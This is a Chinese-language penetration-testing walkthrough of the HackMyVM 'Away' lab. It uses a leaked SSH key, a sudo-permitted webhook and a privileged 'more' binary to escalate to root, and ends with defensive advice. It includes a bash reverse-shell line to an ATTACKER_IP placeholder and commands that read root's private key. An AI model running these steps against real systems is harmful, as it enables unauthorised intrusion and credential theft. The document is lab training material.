hackmyvm系列13——away
字数 897 2025-08-12 11:34:14
HackMyVM系列13——Away靶场渗透测试教学文档
1. 靶场信息收集
1.1 初始扫描
使用nmap进行初始扫描:
nmap -Pn -sC -A 192.168.36.134
1.2 Web目录扫描
使用gobuster进行目录扫描:
gobuster dir -u http://192.168.36.134/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip,pub,txt,html
2. SSH密钥发现与利用
2.1 发现ED25519密钥
- 观察Web页面发现类似SSH公钥的内容
- 确认是ED25519 256位密钥(而非Kali默认生成的RSA 3072)
2.2 下载密钥文件
- 将页面显示的密钥内容作为文件名直接访问
- 成功下载私钥文件(id_ed25519)和公钥文件(id_ed25519.pub)
2.3 提取密码
- 检查.pub文件发现其中包含密码
- 使用密码配合私钥进行SSH登录
3. 初始访问与权限提升
3.1 获取初始shell
使用发现的SSH密钥和密码登录系统:
ssh -i id_ed25519 user@192.168.36.134
3.2 检查sudo权限
sudo -l
发现可以以lula用户身份运行webhook命令
4. 利用webhook获取lula用户shell
4.1 准备攻击脚本
- 创建一个shell脚本(/tmp/shell.sh):
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
- 创建hooks.json配置文件:
[
{
"id": "shell",
"execute-command": "/tmp/shell.sh",
"command-working-directory": "/tmp"
}
]
4.2 启动webhook监听
sudo -u lula webhook -hooks hooks.json -verbose
4.3 触发webhook
访问以下URL触发反弹shell:
http://192.168.36.134:9000/hooks/shell
5. 提权至root
5.1 发现特权文件
在lula用户目录下发现具有root权限的特殊文件"more"
5.2 利用more读取root文件
./more -c /root/.ssh/id_ed25519
5.3 获取root权限
- 读取root用户的SSH私钥
- 使用该密钥直接SSH登录root账户
6. 关键点总结
- SSH密钥发现:Web页面显示的ED25519密钥提示是重要线索
- 密码隐藏位置:公钥文件(.pub)中可能包含密码
- webhook利用:sudo权限允许以其他用户身份执行webhook
- 特权文件利用:非常规的"more"程序可能具有特殊权限
- SSH密钥重用:root用户的私钥可能与其他账户相同或可被读取
7. 防御建议
- 避免在Web页面暴露敏感信息如SSH密钥
- 限制sudo权限,避免普通用户执行危险命令
- 定期检查系统上的特殊权限文件
- 为不同账户使用不同的SSH密钥
- 限制对.ssh目录的访问权限